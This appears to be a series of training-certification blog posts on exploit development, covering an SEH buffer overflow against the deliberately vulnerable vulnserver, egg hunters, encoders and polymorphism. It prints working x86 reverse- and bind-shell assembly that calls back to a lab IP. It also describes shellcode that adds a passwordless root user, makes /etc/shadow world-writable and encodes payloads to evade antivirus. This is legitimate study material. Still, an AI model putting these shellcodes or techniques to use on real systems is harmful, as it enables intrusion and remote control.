00FAF20E is the address that is just below the beginning of our buffer....this will give us about 3400+ bytes worth of address space for our final shellcode

We will be carving 4 bytes at a time beginning at the lowest 4 bytes (since this will be pushed into the stack in LIFO manner)

As usual, we zero out EAX first then carve the instructions using SUB instructions before EAX gets pushed into the stack


Here we can see our 4 bytes getting decoded at address 00D0FFBF


...we carve out the next 4 bytes


...and follow the instructions being decoded


This completes our third as we can we have success decoded our next jump instructions @ address 00D0FFBB:

SUB ESP, 0D48

JMP ESP


We continue code execution to get to our SUB ESP and JMP ESP

Here we can see that after the SUB instruction, our ESP point 00D0F273


We take the JMP ESP and we are provided with 3000+ bytes of address space for our final shellcode


Final Shellcode 


At this point, we can use MSF to create a reverse shell encoded with alpha_mixed.

Also, note that we need to add BufferRegister=ESP to get rid of some restricted characters at the beginning of the shellcode. 

More info about BufferRegister flag can be found here: https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/



SEH Based Buffer Overflow

Structured Exception Handling (SEH)Based Buffer Overflow Vulnerability

Kali Linux
Windows Vista
Vulnerable application: vulnserver.exe (GMON)


Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:



~~~~~//********//~~~~~~


Once the application has been downloaded, we run it on our Vista Machine and start fuzzing.


Fuzzing

For fuzzing, I will be using boofuzz, and documentation can be found here:


First off, we connect to the application to test its functionality--specifically, we will  be testing the GMON command as shown below


Here is the boofuzz template/proof-of-concept that I used for fuzzing:


We fire up this python fuzzer and get a crash. 


With boofuzz, it generates a fuzzing result that can be further accessed using a DB application. For this, I am using a sqlitebrowser that provides a nice SQLite GUI.

We can see in this result (line 24) that our fuzzer sent 5013 bytes before the crash occurred



Proof-of-concept


Here's the original proof-of-concept that I will be using throughout the exploit development 

We will begin by recreating the crash using this POC


We fire up this POC and examine the crash in Windows Vista using Immunity Debugger. 

We successfully get a crash with our buffer of 41s. 

Since this will be an SEH based buffer overflow, we look at the crash in SEH chain which shows that SEH handler address being overwritten with our 41s


After being able to successfully overwrite the SEH handler, we then need to figure out the correct offset. This can be done by feeding our POC with unique characters of 5100 bytes long. 

We will be using Metasploit's pattern_create.rb as shown below.



We then update our POC with the following unique chars and again fire up our exploit.



The POC successfully crashes the vulnserver.exe program again and follow the crash in immunity.

Here we can see that SEH has been overwritten with the following values:
326E4531 & 45336E45


We can use these two values to calculate the offset using Metasploit's pattern_offset.rb

Note: Immunity Debugger's mona.py can also be used to create the pattern_create and pattern_offset

We get the following offset:

SEH: 3519
nSEH: 3515


We can use these offset values to update the POC one more time and recalculate our buffer


Again, we fire up the updated POC and examine the crash in immunity.

We can see that nSEH has been overwritten with x42s and the SEH has been overwritten with x43s


Redirecting the SEH Handler

At this point, we have successfully accomplished the following:

1. Fuzzed the vulnerable application given a long string of buffer 
2. We have calculated the offset for the SEH Handler

One common way (or only way?) to exploit a buffer overflow vulnerability is using the POP-POP-RET 

This is possible because when an application crashes and the SEH happens, our malicious buffer is loaded into the stack and the crash makes this buffer accessible using the POP-POP-RET sequence of instructions.

More information about POP-POP-RET can be found in this blog:



Bottom right of the immunity debugger crash below shows the current state of the stack after the crash
Our buffer is loaded at address 00FDF1F0 (note that addresses 00FDF1E8 and 00FDF1FC will need to be pop from the stack)

POP - 00FDF1E8
POP - 00FDF1FC
RET - 00FDF1F0 (returns our buffer)



Bad characters are no bueno

Before we look for a POP-POP-RET address and redirect our SEH Handler to it, we need to discover bad characters that will truncate or mangle our exploit.

Searching for bad characters can be accomplished by feeding 255 unique hex characters and follow code execution in immunity debugger to see it certain hex characters truncate or mangle our buffer


Again, execute our POC and trace code execution in immunity debugger. 

Looking at the hex dump (bottom left), we can see the application took all 255 hex characters (0x01 to 0xff) which means that other than  0x00, all hex characters can be used.


Now we are ready to find any POP-POP-RET address. This can be done using the mona.py plugin in immunity debugger (I couldn't get it to work) or you can just do it manually by opening up the essfunc.dll and searching for these sets of instructions.

I found the POP-POP-RET at address 625010B4


Once again, we update our POC with the SEH Handler redirect address. We examine the crash by adding a breakpoint at address 625010B4 and see if we can hit the breakpoint for a successful redirection.

Note that the address has to be in little-endian format. Also, we added a first jump (EB 06) and 2 NOPs.



We get a another crash, examine the SEH chain which shows our POP-POP-RET address and if we allow the exception to happen, we are successfully redirected to address 625010B4



We step through the POP-POP-RET codes and we then hit our first jump (EB 06).


...once we take the jmp and hit the address 00EFFF7D. This gives us roughly about 70 bytes of address space. This space is not enough to get a reverse or bind shellcode however, we can utilize this space to further jump.


For our second jump, I am using the following instructions which were straight from the OSCE course. 

These instructions basically moves the address of EIP to ECX then 8 bytes of ECX gets decreased before the jump is taken.


These instructions can be created to a nasm file then objdump can be used to generate the opcodes. 

Below shows these instructions and their respective opcodes


Note that at this point, ecx points to address 00EFFD87. We step through the instructions, take the jump and follow the new EIP 00EFFD87 in dump which gives us a bigger address space…512 bytes to be exact
00EFFF8B - 00EFFFD87= 512 in decimal

We update our POC once again with these jump instructions and now we are afforded an address space big enough for our shellcode.


SHELL TIME!

We create a reverse shell.


We update our POC buffer one last time


We execute our POC again and follow code execution in our debugger

And after taking our second jump, we hit our NOPs and if we follow the eip in dump, we can see that our encoded shellcode is just right below it.


If we continue code execution, we hit our shellcode and get a reverse shell in kali


Final POC




Conclusion:

  1. Fuzzed the vulnerable application given a long string of buffer 
  2. We have calculated the offset for the SEH Handler
  3. Determine if there are any bad characters
  4. Found a POP-POP-RET address to access our buffer
  5. Use the 4 bytes @ offset 3515 to do our first jump for a 70-byte address space
  6. Use the 70 bytes address space for the second jump which gave us 512 bytes of address space
  7. Add shellcode

Shellcode Polymorphism

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
GitHub:

SLAE Assignment #6 - Polymorphic
     - Create a polymorphic version of 3 shellcodes from Shell-Storm
     - The polymorphic versions cannot be larger than 150% of the existing shellcode
     - Bonus: points for making it shorter in length than original



~~~~~~~~~//*****//~~~~~~~~~


0x1 - add root user (r00t) with no password to /etc/passwd
link: www.shell-storm.org/shellcode/files/shellcode-211.php

Original shellcode, assembled using ndisasm



For this, we can focus on lines 6, B, 15 and 25, 2A, 2F. The following instructions correspond to the two syscalls: open() and write (). The open() opens /etc//passwd and write() writes r00t::0:0::: I was able to change the values by running add and sub operations. I could have changed r00t::0:0::: as well using XOR operations or getting rid of the push (replaced with mov)  instructions, however, I would have exceeded the 150% of shellcode size limit.





0x2 - chmod (etc/shadow, 0777)
link: www.shell-storm.org/shellcode/files/shellcode-593.php

Here's the original shellcode with the size of 29 bytes disassembled using ndisasm. Similar to 0x1, lines 3, 8, and D show the file name /etc//shadow which means this will be the focus with the polymorphism process. Line 14 shows the permission 0777 which could also be polymorphed using some add or sub instructions but I didn't do it base on the %150 shellcode size requirement.



For the polymorphism, I used a combination of similar technique from 0x1 plus a JMP-CALL-POP technique. I subtracted 0x11111111 from each dword and then dynamically loaded the new values to the stack. After they are popped, I added 0x11111111 to recover the original value before they pushed back into the stack again. The size of the new shellcode is 44 bytes.


0x3 -iptables -F
link: www.shell-storm.org/shellcode/files/shellcode-368.php


The following instructions results: /sbin/iptables -F which then get executed using execve()




I used the JMP-CALL-POP method to change it up. Basically the /sbin/iptables -F hex codes from above are replaced. The new shellcode size is 58 bytes.


Thank you for reading.

Shellcode Analysis

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #5 - Analysis of Linux/x86 msfpayload shellcodes

          - Use GDB/ndisasm/libemu to dissect the functionality of the shellcode


~~~~~~~~~//*****//~~~~~~~~~


For this assignment, I will be using the first three Linux/x86 payloads generated by msfvenom (formerly msfpayload)


0x1 - linux/x86/adduser


A quick ndisasm gives us the following:

msfvenom -p linux/x86/adduser -f raw | ndisasm-u -



The first obvious ones are the 4-dwords:

           push dword 0x64777373
           push dword 0x61702f2f
           push dword 0x6374652f

The following dwords (in little-endian) are the hex representation of /etc//passwd as shown below:


However, it is still unclear as to what is being done to the /etc//passwd file. I think this is where we can use gdb to see what system calls are being invoked.

I generated the shellcode from msfvenom, loaded it in shellcode.c, compiled and loaded in gdb.




Once loaded in gdb...we first set a breakpoint for shellcode: break *&code 



We can see again the /etc//passwd in lines +15, +20, +25. We can also see several int 0x80 (lines +7, +35, +86, +91) for the system calls. We can add breakpoints on these lines to see what system calls are loaded into eax. 


Note: Here is a list of all the system calls with their corresponding call numbers found in /usr/include/i86-linux-gnu/asm/unistd_32.h


Syscall #1:  eax has 46 or setgid() loaded to it.



setgid() call is pretty straight forward. This call sets a user's group id. In this case, the group id is set to 0 as seen in the first two lines. The function calls only require one argument, in this case 0 is loaded into ebx (mov ebx, ecx) as the argument. 

                                                  root@kali:~/SLAE# id
uid=0(root) gid=0(root) groups=0(root)



                   
Syscall #2: eax has 5 or open() loaded to it.


open() here opens /etc/passwd file for the pathname and sets the flags to O_RDWR (Read/Write). This step will require root access hence why setgid()  was called first and set the user's group id to 0.

                      
                             push   0x64777373
                             push   0x61702f2f
                             push   0x6374652f




Syscall #3: eax has 4 or write() loaded to it.


write() has 3 arguments (fd, *buf, count). count writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd.



The following is what gets written in to /etc/passwd file.
USER=test
PASS=password (in this case it is hashed)
SHELL=/bin/bash



syscall #4: eax has 1 or exit() loaded to it....enough said.




0x2 - linux/x86/chmod

We again generate a shellcode with the following options:

FILE=/home/slae/test.txt
MODE=0777





Compile and we load the file in gdb.


We put a breakpoint at the system  call @ +37 (0x804a065)

Syscall: eax has 15 or chmod() loaded to it.



chmod() requires two arguments: pathname and mode

pathname: /home/slae/test.txt (ebx)



mode: 0777 (ecx) 

Here we can see 0x1ff (0777) pushed to the stack and popped into ecx


0x3 - linux/x86/exec

We generate a shellcode with the following option:

CMD=ifconfig



Compile and load it in gdb


We put a breakpoint at the system call @ +42 (0x0804a06a)

syscall: eax has 11 or execve() loaded to it.



Here we see the first part of the string for the command /bin/sh -c loaded into ebx.





The next string should be ifconfig, however, I couldn't find it using gdb. I ended up using ndisasm for this next step.

 
Call dword 0x26 is what we are looking for. Looking at 1D to 24, we can see that these are the opcodes for ifconfig. 


Furthermore, plugging the next opcodes (26 through 29) shows how the entire command string (/bin/sh -c ifconfig) is pushed into the stack (esp), and loaded into ecx




Thank you for reading.

Shellcode Encoder

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #4 - Encoder
 - Create a custom encoding scheme


~~~~~~~~~//*****//~~~~~~~~~



For this assignment,  we will be encoding an execve shellcode that spawns a /bins/sh using XOR and then NOT encoding The idea behind encoding is that we can alter opcodes without altering its functionality. For instance, using the shellcode below, it is pretty clear that our shellcode contains \x2f\x2f\x73\x68\x2f\x62\x69\x6e which translates to //bin/sh. Among other things, this is something that could be easily caught by Anti-virus (AV) or Intrusion  Detection System (IDS).

Below is the original execve-stack.nasm file and its corresponding opcodes/shellcode.






Once we get the original shellcode...I used python for encoding which will be a two-step process: XOR encoding first, then NOT encoding the result of the first step.

Here we initialize it with our original shellcode from execve-stack.nasm file:


The first step is the  XOR encoding. For this step, I am going through each byte of the original shellcode and XOR'ng it with 0xaa.


The second step is to encode each byte of the result from XOR encoding, with a NOT encoding.




Below is the output of the encoder python script. I am printing both XOR and NOT encoded shellcodes however, we will only need the NOT encoded shellcode for our decoder.



With the 'XOR then NOT' encoded shellcode, we are now ready to create our decoder to revert or decode it back to the original shellcode.

For this step, I am using the jmp-pop-call method again. We load the encoded shellcode into the stack by using the call instruction. We then pop it and load it into a register (esi for this one). We can then loop through each byte of the encoded shellcode loaded in esi. 

We first do a NOT then followed by XOR 0xaa.

Below shows the encoding and decoding scheme for the first byte

encoding: 0x31---> 0x9b (0x31 XOR 0xaa) -----> 0x64 (NOT 0x9b & 0xff)
decoding: 0x64---> 09xb (NOT 0x64 & 0xff) ---> 0x31 (0x9b XOR 0xaa)

...and here's the complete nasm file with our decoder.



We compile then generate a new shellcode using objdump.


We update our shellcode.c file, compile it and execute.

Note that with this the new shellcode, it shows that we can 'hide' the //bin/sh while maintaining the functionality.


SUCCESS!


Egg Hunter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #3 - Egghunter
        

          - Create a working demo of the egg hunter

~~~~~~~~~//*****//~~~~~~~~~


For the 3rd assignment, I will be creating an 'egg hunter' shellcode. This wasn't covered in the SLAE course. As mentioned by a lot of SLAE blogs, a good source is from skape research paper. My shellcode did not deviate too much from what skape has shown. I created some labels to make it more readable and easier to follow the flow of instructions.

What is an egg_hunter? Why do we need it?

An egg hunter is a shellcode that points to another shellcode. It is basically a staged shellcode where the egg hunter shellcode is stage one while the actual shellcode that spawns the shell (reverse, bind, meterpreter, etc) is stage two. It is needed during an exploit development (i.e. buffer overflow) where the application only allows a small space for a shellcode--too small for the stage two shellcode, however it has enough address space for stage one.

This is accomplished by using an 'egg(s)' which is a unique 8-byte opcode (or hex). The egg gets loaded into both the stage 1 and stage 2 shellcodes. When stage one shellcode executes, it searches for the unique 8-byte egg and transfers execution control (stage 2).

Here I globally defined egg with the following and then initialized eax, ebx, ecx, edx registers:

       %define _EGG                    0x50905090

       xor ebx, ebx                         ;remove x00/NULL byte
       mov ebx  _EGG                   ;move 0x50905090 egg into ebx register
       xor ecx, ecx                         ;remove x00/NULL byte  
       mul ecx                                ;intializes eax, ecx, edx with x000000000 value


We are now ready to do some system calls. According to skape, two system calls can be used: access() and sigaction(). For this write-up, I will only be using access().


We will be using the *pathname pointer argument to validate the address that will contain our egg.

 I globally defined two more variables: the access() syscall and EFAULT

      %define _SYSCALL_ERR       ;0xf2
      %define __NR_access              ;0x21

...and created two labels: NEXT_PAGEFILE and NEXT_ADDRESS

The first label is used to switch to the next page if an invalid address memory is returned with the syscall...each pagefile/PAGESIZE contains 4096 bytes. This is accomplished using an OR instruction

NEXT_PAGEFILE:

      or dx, 0xfff                                 ;note that edx is the pointed *pathname
                                                         ;0xffff == 4095

The second label will be our meat and potatoes. Within this label or procedure, we will be calling the access(2) syscall, compare the results (egg hunting), and loop through the address space.

NEXT_ADDRESS:

        inc edx                               ;increments edx, checks next address if it contains the egg
        pusha                                 ;push eax, ebx, ecx, edx....these registers are used multiple 
                                                   ;pushing them to the stack to preserve values when popped
        lea ebx, [edx +4]
        xor eax, eax                      ;remove x00/NULL byte
        mov al, __NR_access       ;syscall 33 for access(2)
        int 0x80                            ;interrupt/execute

        ;egg hunting begins

        cmp al, SYSCALL_ERR ;compares return value of al to 0xf2 (EFAULT)
        popa                                 ;branch, pop eax, ebx, ecx, edx
        jz NEXT_PAGEFILE     ;al return value == EFAULT value, invalid address memory
                                                 ;move to the next PAGESIZE

        cmp [edx], ebx                 ;if al retun value != EFAULT value, execute this instruction
                                                 ;compares the egg with edx value
        jnz NEXT_ADDRESS    ;not EFAULT but _EGG not found, loop again


        cmp[edx +4], ebx             ;_EGG found, test for the next 4 byte of the _EGG
       jnz NEXT_ADDRESS     ;if next 4 bytes of edx value !=_EGG, loop again

       jmp edx                             ;finally, 8 bytes of _EGG found, jmp to address of edx     

We compile our nasm file and obtain our shellcode using objdump.


We now have our stage one shellcode and for the stage two shellcode, I will be using the reverse TCP shellcode from SLAE Assignment #2.

I updated the shellcode.c file to include both stage one and stage two shellcodes as seen below.



For testing, I am using my kali box again to receive the reverse TCP shell. We compile our shellcode.c, open a listener in Kali and run the exploit.



SUCCESS!!



Reverse TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #2 - Create a Shell_Reverse_TCP shellcode
      

      - Reverse connects to configured IP and Port
      - Execs shell on successful connection
      - IP and Port should be easily configurable

~~~~~~~~~~//*****//~~~~~~~~~~


Creating a REVERSE_TCP shell consist of 3 functions

0x1 socket
0x2 connect
0x3 execve



0x1 - socket

Similar to assignment #1, the first thing we need to do is set-up our socket. This can be accomplished by pushing the following parameters into the stack.

We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)

                push 0x6                ;TCP or 0x6
               push 0x1               ;SOCK_STREAM or 0x1
              push 0x2               ;AF_INET or 0x2

We can then invoke the socketcall() system call, as shown below:

               xor eax, eax            ;remove x00/NULL byte
               mov al, 0x66            ;syscall 102 for socketcall
               xor ebx, ebx            ;remove x00/NULL byte
               mov bl, 0x1             ;net.h SYS_SOCKET 1 (0x1)
               xor ecx, ecx            ;remove x00/NULL byte
              mov ecx, esp            ;arg to SYS_SOCKET
              int 0x80                ;interrupt/execute


              mov edi, eax            ;sockfd, store return value of eax into edi


0x2 - connect

Once our socket is set-up, the next step is to invoke the connect() system call. This will be used to connect back to the listening machine, through the socket using an IP address and Port destination.

Below shows what we need for the connect():



One main difference with reverse shell vs. a bind shell is that we need both the IP and port of the listening machine for the reverse shell. Specifically, we use 192.168.199.128 and port 4445 as the IP and port respectively. We load both the IP and port address into the stack using jmp-pop-call method again. We first do a jmp to the label that contains our IP and port. '192.168.199.1304445' is then loaded to the stack once the call command is called. We can then call the pop esi instruction which loads the '192.168.199.1304445' into the esi register. Finally, to split the IP and port we do a push dword[esi] which pushes the first 4 bytes (192.168.199.130) and then a push word[esi +4] which pushes the last two bytes (4445).

We then call the socketcall() and SYS_CONNECT.


   reverse_jump:

        jmp short reverse_ip_port


    connect:

        ;int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen$


        pop esi                            ;pops port+IP (total of 6 bytes), ESP addr to e$
        xor eax, eax                    ;removes x00/NULL byte
        xor ecx, ecx                     ;removes x00/NULL byte
        push dword[esi]              ;push IP (first 4 bytes of esi)
        push word[esi +4]           ;push PORT (last 2 bytes of esi)
        mov al, 0x2                      ;AF_INET IPV4
        push ax
        mov eax, esp                    ;store stack address into edc (struct sockaddr)
        push 0x10                        ;store length addr on stack
        push eax                          ;push struct sockaddr to the stack
        push edi                           ;sockfd from th eax _start
        xor eax, eax                     ;removes x00/NULL byte
        mov al, 0x66                    ;syscall 102 for socketcall
        xor ebx, ebx                     ;removes x00/NULL byte
        mov bl, 0x03                    ;net.h SYS_CONNECT 3
        mov ecx, esp                    ;arg for SYS_CONNECT
        int 0x80



    reverse_ip_port:

        call connect

        reverse_ip dd 0x82c7a8c0       ;192.168.199.130, hex in little endian
        reverse_port dw 0x5d11          ;port 4445, hex in little endian



0x3 - execve

Before execve() syscall can be invoked, we have to set up dup2() calls to ensure all the std in/out/error goes through the socket. We use the same technique utilized in assignment #1.

   change_fd:

        ;multiple dup2() to ensure that stdin, stdout, std error will
        ;go through the socket connection

        xor ecx, ecx            ;removes 0x00/NULL byte, 0 (std in)
        xor eax, eax            ;removes 0x00/NULL byte
        xor ebx, ebx            ;removes 0x00/NULL byte
        mov ebx, edi            ;sockfd from the eax _start
        mov al, 0x3f            ;syscall 63 for dup2
        int 0x80                ;interrupt/execute

        mov al, 0x3f            ;syscall 63 for dup2
        inc ecx                 ;+1 to cx, 1 (std out)
        int 0x80                ;interrupt/execute

        mov al, 0x3f            ;syscall 63 for dup2
        inc ecx                 ;+1 to ecx, 2 (std error)
        int 0x80                ;interrupt/execute


Shell time! Shells for everyone!

This is no different than assignment #1 shell. We use execve() syscall to invoke a /bin/sh, however this time it sends the file std in/out back to the listening machine.

  execve:
         xor eax, eax             ;removes x00/NULL byte
         push eax                   ;push first null dword

         push 0x68732f2f      ;hs//
         push 0x6e69622f      ;nib/

         mov ebx, esp             ;save stack pointer in ebx

         push eax                    ;push null byte terminator
         mov edx, esp             ;moves address of 0x00hs//nib/ into edx

         push ebx                    
         mov ecx, esp          

         mov al, 0xb                ;syscall 11 for execve
         int 0x80


Testing our reverse shell

First, we start with compiling our nasm file into executable and then opening up a listener in our Kali box.




Execute the file and we get a reverse TCP connection back to our kali


SUCCESS...our reverse shell works.


We then use objdump to get our actual shellcode...


Copy the shellcode into our c file, test reverse shell again and we get another successful reverse shell to the kali listener.








SLAE Certification

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

~~~~~~~~~//*****//~~~~~~~~~

I started my offsec journey back in Feb 2007 when I registered for Offensive Security Certified Professional (OSCP) and completed the certification in June of that same year. Almost 3 years later, I finally decided to start on Offensive Security Certified Expert (OSCE) and one of the baseline requirements for this certification is a familiarity with Linux assembly language. Several OSCE preparation/exam reviews pointed to Security Tubes Linux Assembly (SLAE-32 bit) course as a good course to prepare for OSCE. The course is provided at an affordable price of $130 and the certification is really unique. After completing the course, students are required to complete seven assignments (listed below) to obtain the certification.

SLAE Assignment #1 - Bind TCP Shell
SLAE Assignment #2 - Reverse TCP Shell
SLAE Assignment #3 - Egg Hunter
SLAE Assignment #4 - Encoder
SLAE Assignment #5 - Shellcode Analysis
SLAE Assignment #6 - Polymorphism
SLAE Assignment #7 - Crypter 

Shout out to Vivek for doing an amazing job teaching the course. It was a perfect blend of the crawl, walk, run--from learning the basics of assembly registers to operations/conditions/controls/loops, creating shellcodes, and finally creating encoders/polymorphism/crypters. 

Bind TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517

Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #1 - Create a Shell_BIND_TCP Shellcode

    - Binds to a port
    - Execs Shell on incoming connection
    - Port number should be easily configurable


~~~~~~~~~//*****//~~~~~~~~~



Creating a BIND_TCP shell can be broken down into 4 functions.

0x1 socket
0x2 connect
0x3 execve
0x4 accept
0x5 execve


... let us begin


0x1 - socket

First, we create a socket. socket() requires 3 arguments: domain, type, protocol as seen below.


domain = AF_INET or 0x2


type = SOCK_STREAM or 0x1


protocol = TCP or 0x6


We will also be using this net.h file when we invoke the syscalls which are the networking handling part of the kernel.



We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)

               push 0x6
               push 0x1
               push 0x2

Once the socket has been created, we then invoke the socketcall() syscall



             xor eax, eax              ;remove x00/NULL byte
             mov al, 0x66             ;syscall 102 (x66) for socketcall
             xor ebx, ebx             ;remove x00/NULL byte
             mov bl, 0x1              ;net.h SYS_SOCKET 1 (0x1)
             xor ecx, ecx             ;remove x00/NULL byte
            mov ecx, esp             ;arg 2, esp address to ecx
            int 0x80                    ;interrupt/excute

            mov edi, eax             ;sockfd, this will be referenced throughout the 

0x2 -bind

One common concept in SLAE course is the use of JMP-CALL-POP which allows a way to dynamically access addresses. This is because if a call instruction is used, the next instruction is automatically loaded into the stack.



          bind:
                jmp short port_to_blind        

         call_bind:
               pop esi                  ; pops ESP addr
              xor eax, eax          ;remove x00/NULL byte
              push eax               ;push eax NULL value to the stack
              push word[esi]     ;push actual port number to the stac, word=2 bytes
              mov al, 0x2          ;AF_INET IPv4
              push ax
              mov edx, esp        ;store stack addr (struct sockaddr)
              push 0x10            ;store length addr on stack
              push edx              ;push strct sockaddr to the stack
              push edi               ;sockfd from the eax _start
              xor eax, eax         ;remove x00/NULL byte
              mov al, 0x66        ;syscall 102 for socketcall
              mov bl, 0x02        ;net.h SYS_BIND 2 (0x02)
              mov ecx, esp        ;arg for SYS_BIND
              int 0x80               ;interrupt/execute

         port_to_bind:
              call call_bind
              port_number dw 0x5d11  ;port 4445 (0x115d)
                                                        ;this gets pushed to the stack after the call instruction

0x3 - listen


The listen() syscall is pretty straightforward.


            push 0x1                         ; int backlog
            push edi                          ; sockfd from eax _start
           xor eax, eax                    ;remove x00/NULL byte
           mov al, 0x66                   ;syscall 102 for socketcal
           xor ebx, ebx                    ;remove x00/NULL byte
          mov bl, 0x4                      ;net.h SYS_LISTEN 4
          xor ecx, ecx                     ;remove x00/NULL byte
          mov ecx, esp                    ;arg for SYS_LISTEN
          int 0x80                           ;interrupt/execute

0x4 - accept

Likewise, accept() is pretty straight forward.



             xor ear, eax                  ;remove x00/NULL byte
             push eax                       ;push NULL value to addrlen
             xor ebx, ebx                 ;remove x00/NULL byte
            push ebx                       ;push NULL value to addr
            push edi                        ;sockfd from eax _start
            mov al, 0x66                 ;syscall 102 for socketcall
            mov bl, 0x5                   ;net.h SYS_ACCEPT 5
            xor ecx, ecx                  ;remove x00/NULL byte
            mov ecx, esp                 ;arg for SYS_ACCEPT
            int 0x80                         ;interrupt/execute

0x4a - change_fd


This is all the dup2() functions which ensure file /bin/sh goes through the socket connection

       
            mov ebx, eax                  ;moves fd from accept to ebx
            xor ecx, ecx                    ;removes 0x00/NULL byte, 0 (std in)
            xor eax, eax                   ;removes 0x00/NULL byte
            mov al, 0x3f                  ;syscall 63 for dup2
            int 0x80                         ;interrupt/execute

            mov al,0x3f                   ;syscall 63 for dup2
            inc ecx                           ;+1 to ecx, 1 (std out)
            int 0x80                         ;interrupt/execute

            mov al, 0x3f                  ;syscall 63 for dup2
            inc ecx                           ;+1 to ecx, 2 (std error)
            int 0x80                         ;interrupt/execute

0x5 - execve

At this point we have successfully set-up our socket() and we can establish a bind() port, listen() on incoming connections and accept() it. We are now ready to run our execve(). Once the connection is established, execve will be used to execute /bin/sh.


The following instructions are taken directly from the execve module of the SLAE course.

             xor eax, eax                 ;removes x00/NULL byte
             push eax                      ;push first null dword

             push 0x68732f2f          ;hs// 
             push 0x6e69622f          ;nib/

              mov ebx, esp              ;save stack pointer in ebx
             push eax                       ; push null byte as 'null byte terminator'
             mov edx, esp               ;moves address of 0x00hs//nib/ into ecx

             push ebx
             mov exc, esp

             mov al, 0xb                 ; syscall 11 for execve
             int 0x80


And we are done!

Testing our bind shell.

We compile nasm file and execute it.



Then using another machine (Kali), I connect to the ubuntu which spawns /bin/sh shell and we can run commands remotely.

BT IP: 192.168.199.128
Ubuntu IP: 192.168.199.129


We can also run the netstat command in the ubuntu machine to verify the established connection between the BT and Ubuntu machines:

Success..we can see the connection established.


Finally, we use objdump to obtain the shellcode from our executable


***Note the last 2 bytes of the shellcode is the port to bind on. Keeping in mind little-endian structure. We should be able to just change the last 2 bytes of the shellcode to configure a different port to bind on.

Here's an example of using the shellcode with a .c program




We compile shellcode.c, execute it and connect to 4445 from out BT machine.



SUCCESS!






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